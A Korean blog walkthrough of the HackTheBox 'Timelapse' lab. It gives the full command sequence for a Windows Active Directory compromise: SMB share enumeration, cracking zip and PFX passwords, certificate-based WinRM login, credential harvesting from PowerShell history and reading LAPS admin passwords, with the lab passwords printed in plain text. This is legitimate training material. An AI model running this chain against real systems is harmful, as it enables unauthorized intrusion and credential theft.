상세 컨텐츠

본문 제목

[HackTheBox] Timelapse

Penetration/HackTheBox

by obscurity_ 2024. 10. 15. 11:52

본문

 

nmap --open -p- -Pn --max-retries 1 --min-rate 4000 10.10.11.152 > allports
 
 

서버에 열려있는 전체 포트를 가져와줍니다.

그 다음 allports 파일을 정규표현식으로 포트번호만 가져온 뒤

가져온 포트번호에 대해서 디테일 스캔을 합니다.

 

cat allports | grep '/' | cut -d '/' -f 1 | tr '\n' ','  
nmap -sV -sC -Pn 10.10.11.152 -p 53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49668,49673,49674,49695,49727 > detail
 

 

서버에는 SMB, LDAP, Winrm(SSL), Kerberos가 활성화 되어있네요

먼저 SMB에 대해서 정보수집을 진행 해봅니다.

nxc를 사용해서 Guest 계정에 대해 패스워드 없이 접속해보니

접속이 성공됩니다.

그래서 --shares 플래그를 통해 어떤 쉐어에 권한이 있는지 파악해줍니다.

 

nxc smb 10.10.11.152 -u Guest -p '' --shares
 
대표사진 삭제

사진 설명을 입력하세요.

Guest 계정으로는 IPC$와 Shares 쉐어에 읽기 권한이 존재하네요

impacket-smbclient로 Shares 쉐어에 접속해봅니다.

Shares 디렉토리 안에는 Dev와 HelpDesk 디렉토리가 존재했고

HelpDesk에는 LAPS에 관한 DOCX 파일들이 존재했습니다.

대표사진 삭제

사진 설명을 입력하세요.

DOCX 파일들을 libreoffice를 통해서 열어보면

AD에 관한 기본적인 문서들인것이 확인되고

사용자가 직접 생성한 문서가 아니다보니 아무래도 수집할 정보는 딱히 없습니다.

 

하지만 Dev 디렉토리에는 winrm에 대한 백업 압축파일이 존재했습니다.

이 파일을 가져온 뒤에 압축 해제를 시도했는데

압축 파일에 패스워드가 걸려있습니다.

zip2john으로 해쉬값을 가져온 뒤에 레인보우테이블을 통해서

해쉬크래킹을 해줍니다.

 

zip2john winrm_backup.zip > winrm_backup.hash
john --wordlist=/usr/share/wordlists/rockyou.txt winrm_backup.hash --pot=winrm_backup.crack
 

 

 

압축파일 패스워드는 supremelegacy 으로 확인됩니다.

 

압축을 해제하면 legacyy_dev_auth.pfx 파일이 나오는데

PFX는 Personal Information Exchange 파일로

사용자에 대한 자격증명 정보가 들어있는 파일입니다.

해당 파일이 있으면 사용자의 개인키와 인증서를 가져올 수 있고

이 정보들이 있으면 winrm으로 원격 접속이 가능합니다.

 

openssl을 통해서 이 파일로부터 개인키와 인증서 추출이 가능합니다.

다만, 보통의 경우에 실무에선 이 파일에 추가적인 패스워드 인증이

되어있는 경우도 많다고 합니다.

 

openssl pkcs12 -in legacyy_dev_auth.pfx -out key.pem -nocerts -nodes
openssl pkcs12 -in legacyy_dev_auth.pfx -out cert.pem -clcerts -nokeys
 

위 두 명령어로 각각 개인키와 인증서를 가져올 수 있는데 패스워드가 걸려있네요

여기 걸려있는 패스워드는 pfx2john으로 해쉬값을 가져올 수 있습니다.

 

pfx2john legacyy_dev_auth.pfx  > legacyy_dev_auth.pfx.hash
john --wordlist=/usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx.hash --pot=legacyy_dev_auth.pfx.crack
 

 

크래킹을 해보니 thuglegacy 패스워드로 확인이 됩니다.

이제 위에 명령어를 입력하고 패스워드를 입력하면

legacyy 계정의 개인키와 인증서가 다운로드가 됩니다.

 

evil-winrm으로 개인키와 인증서를 통해 접속할 때는 지정해줘야 하는데

key에 대한 플래그는 k, 인증서에 대한 플래그는 c입니다.

추가로 포트스캔 때 나온 서버의 winrm 포트번호는 5986이었는데

5986은 winrm에 SSL 통신이 추가된 프로토콜입니다.

evil-winrm을 아무런 플래그 없이 사용시에는 5985인 일반 통신 winrm으로

원격 접속을 시도하게 되어서 -S 플래그를 통해서 SSL 프로토콜을 지정해줍니다.

 

evil-winrm -S -i 10.10.11.152 -u legacyy -k key.pem -c cert.pem 
 

 

legacyy 계정으로 로그인이 성공합니다.

권한 상승을 위해서 파워쉘 히스토리 목록을 확인하라고 하는데

현재 사용자 계정의 파워쉘 히스토리는 다음 경로에서 확인이 가능합니다.

 

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
 

이 경로를 읽어줬을 때 svc_deploy라는 사용자의 패스워드를 설정하는

기록이 존재하네요

 

whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
 

 

이 사용자로 권한상승을 해줍니다.

evil-winrm -S -i 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV'
 

권한 상승을 한 이후에는 관리자 권한을 얻어야 하는데,

여기선 LAPS 라는 개념이 필요합니다.

LAPS는 AD 환경에서 각 컴퓨터의 로컬 관리자에 대한 패스워드를 관리하는

보안 정책입니다.

일정 주기로 패스워드를 변경하게 되는 시스템인데,

LAPS에서 관리하는 로컬 관리자 패스워드를 확인할 수 있는 그룹이

LAPS_Readers 그룹입니다.

우선 그룹이 있는지 확인하기 위해서 net groups를 통해서 그룹목록을 확인합니다.

 

LAPS_Readers 그룹이 존재하네요

해당 그룹의 구성원은 누구인지 확인을 해줍니다.

 

권한상승을 한 현재사용자인 svc_deploy 계정이 속해있는것이 확인되네요

이제 이 사용자 계정으로 로컬관리자 패스워드를 확인해줍니다.

Get-ADComputer 명령을 통해서 정보를 확인할 수 있는데

Filter 플래그를 통해서 모든 컴퓨터를 확인해주고

Property 플래그를 통해서 확인하려는 정보를 지정해줍니다.

 

Get-ADComputer -Filter * -Property 'ms-Mcs-AdmPwd' | Select-Object ms-Mcs-AdmPwd
 

Select-Object를 통해 ms-Mcs-AdmPwd를 지목해주면

패스워드 값만 출력이 가능합니다.

 

 

관리자 패스워드는 위와 같이 확인이 되네요

r;##+1Cc-+e,0CM+230//.vh
 

이 패스워드를 통해 관리자로 권한상승을 해줍니다.

evil-winrm -S -i 10.10.11.152 -u administrator -p 'r;##+1Cc-+e,0CM+230//.vh' 
 

 

 

'Penetration > HackTheBox' 카테고리의 다른 글

[HackTheBox] Active  (0) 2024.10.29
[HackTheBox] Sauna  (1) 2024.10.29
[HackTheBox] Return  (2) 2024.10.17
[HackTheBox] Sightless  (0) 2024.10.16
[HackTheBox] Cicada  (2) 2024.10.13

관련글 더보기